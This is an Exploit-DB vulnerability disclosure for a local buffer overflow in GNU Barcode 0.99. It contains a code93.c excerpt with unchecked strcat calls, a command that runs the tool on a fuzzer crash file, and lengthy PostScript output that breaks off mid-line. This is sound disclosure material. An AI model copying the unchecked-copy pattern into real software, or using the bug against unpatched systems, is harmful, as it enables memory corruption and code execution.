Exploit-DB #44797
Description: GNU Barcode 0.99 - Buffer Overflow
Type: local
Platform: linux
Date: 2018-05-29
Author: LiquidWorm

Exploit:
# GNU Barcode 0.99 - Buffer Overflow
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Author: Gjoko 'LiquidWorm' Krstic
# Tested on: Ubuntu 16.04.4
# Affected version: 0.99

# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.

# Desc: The vulnerability is caused due to a boundary error in the processing
# of an input file, which can be exploited to cause a buffer overflow when a
# user processes e.g. a specially crafted file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.


code93.c:

165: strcat(partial, codeset[code]);
166: checksum_str[checksum_len++] = code;
167: 
168: /* Encode the second character */
169: code = strchr(alphabet, shiftset2[(int)(text[i])]) - alphabet;
170: strcat(partial, codeset[code]);
171: checksum_str[checksum_len++] = code;

lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -i id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog

%%Page: 1 1

% Printing barcode for "W+G$A+M%KWWGWWWWWWWW9WW", scaled  1.00, encoded using "code 39"
% The space/bar succession is represented by the following widths (space first):
%[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]1131311
[
%  height  xpos   ypos  width       height  xpos   ypos  width
   [75.00  10.50  15.00  0.85]      [75.00  14.50  15.00  0.85]
   [75.00  17.50  15.00  2.85]      [75.00  21.50  15.00  2.85]
   [75.00  24.50  15.00  0.85]      [70.00  27.50  20.00  2.85]
   [70.00  33.50  20.00  2.85]      [70.00  36.50  20.00  0.85]
   [70.00  38.50  20.00  0.85]      [70.00  40.50  20.00  0.85]
   [70.00  42.50  20.00  0.85]      [70.00  46.50  20.00  0.85]
   [70.00  48.50  20.00  0.85]      [70.00  52.50  20.00  0.85]
   [70.00  56.50  20.00  0.85]      [70.00  58.50  20.00  0.85]
   [70.00  60.50  20.00  0.85]      [70.00  62.50  20.00  0.85]
   [70.00  67.50  20.00  2.85]      [70.00  71.50  20.00  2.85]
   [70.00  74.50  20.00  0.85]      [70.00  78.50  20.00  0.85]
   [70.00  82.50  20.00  0.85]      [70.00  86.50  20.00  0.85]
   [70.00  88.50  20.00  0.85]      [70.00  91.50  20.00  2.85]
   [70.00  94.50  20.00  0.85]      [70.00  96.50  20.00  0.85]
   [70.00 100.50  20.00  0.85]      [70.00 103.50  20.00  2.85]
   [70.00 106.50  20.00  0.85]      [70.00 110.50  20.00  0.85]
   [70.00 112.50  20.00  0.85]      [70.00 116.50  20.00  0.85]
   [70.00 120.50  20.00  0.85]      [70.00 123.50  20.00  2.85]
   [70.00 127.50  20.00  2.85]      [70.00 130.50  20.00  0.85]
   [70.00 132.50  20.00  0.85]      [70.00 136.50  20.00  0.85]
   [70.00 138.50  20.00  0.85]      [70.00 140.50  20.00  0.85]
   [70.00 144.50  20.00  0.85]      [70.00 148.50  20.00  0.85]
   [70.00 152.50  20.00  0.85]      [70.00 155.50  20.00  2.85]
   [70.00 158.50  20.00  0.85]      [70.00 160.50  20.00  0.85]
   [70.00 162.50  20.00  0.85]      [70.00 167.50  20.00  2.85]
   [70.00 171.50  20.00  2.85]      [70.00 177.50  20.00  2.85]
   [70.00 180.50  20.00  0.85]      [70.00 182.50  20.00  0.85]
   [70.00 184.50  20.00  0.85]      [70.00 187.50  20.00  2.85]
   [70.00 193.50  20.00  2.85]      [70.00 196.50  20.00  0.85]
   [70.00 198.50  20.00  0.85]      [70.00 200.50  20.00  0.85]
   [70.00 202.50  20.00  0.85]      [70.00 204.50  20.00  0.85]
   [70.00 206.50  20.00  0.85]      [70.00 211.50  20.00  2.85]
   [70.00 215.50  20.00  2.85]      [70.00 219.50  20.00  2.85]
   [70.00 225.50  20.00  2.85]      [70.00 228.50  20.00  0.85]
   [70.00 230.50  20.00  0.85]      [70.00 232.50  20.00  0.85]
   [70.00 235.50  20.00  2.85]      [70.00 241.50  20.00  2.85]
   [70.00 244.50  20.00  0.85]      [70.00 246.50  20.00  0.85]
   [70.00 248.50  20.00  0.85]      [70.00 251.50  20.00  2.85]
   [70.00 257.50  20.00  2.85]      [70.00 260.50  20.00  0.85]
   [70.00 262.50  20.00  0.85]      [70.00 264.50  20.00  0.85]
   [70.00 267.50  20.00  2.85]      [70.00 273.50  20.00  2.85]
   [70.00 276.50  20.00  0.85]      [70.00 278.50  20.00  0.85]
   [70.00 280.50  20.00  0.85]      [70.00 283.50  20.00  2.85]
   [70.00 289.50  20.00  2.85]      [70.00 292.50  20.00  0.85]
   [70.00 294.50  20.00  0.85]      [70.00 296.50  20.00  0.85]
   [70.00 299.50  20.00  2.85]      [70.00 305.50  20.00  2.85]
   [70.00 308.50  20.00  0.85]      [70.00 310.50  20.00  0.85]
   [70.00 312.50  20.00  0.85]      [70.00 315.50  20.00  2.85]
   [70.00 321.50  20.00  2.85]      [70.00 324.50  20.00  0.85]
   [70.00 326.50  20.00  0.85]      [70.00 328.50  20.00  0.85]
   [70.00 331.50  20.00  2.85]      [70.00 337.50  20.00  2.85]
   [70.00 340.50  20.00  0.85]      [70.00 342.50  20.00  0.85]
   [70.00 344.50  20.00  0.85]      [70.00 346.50  20.00  0.85]
   [70.00 349.50  20.00  2.85]      [70.00 354.50  20.00  0.85]
   [70.00 357.50  20.00  2.85]      [70.00 360.50  20.00  0.85]
   [70.00 363.50  20.00  2.85]      [70.00 369.50  20.00  2.85]
   [70.00 372.50  20.00  0.85]      [70.00 374.50  20.00  0.85]
   [70.00 376.50  20.00  0.85]      [70.00 379.50  20.00  2.85]
   [70.00 385.50  20.00  2.85]      [70.00 388.50  20.00  0.85]
   [70.00 390.50  20.00  0.85]      [70.00 392.50  20.00  0.85]
   [70.00 395.50  20.00  2.85]      [70.00 398.50  20.00  0.85]
   [70.00 400.50  20.00  0.85]      [70.00 403.50  20.00  2.85]
   [70.00 408.50  20.00  0.85]      [75.00 410.50  15.00  0.85]
   [75.00 414.50  15.00  0.85]      [75.00 417.50  15.00  2.85]
   [75.00 421.50  15.00  2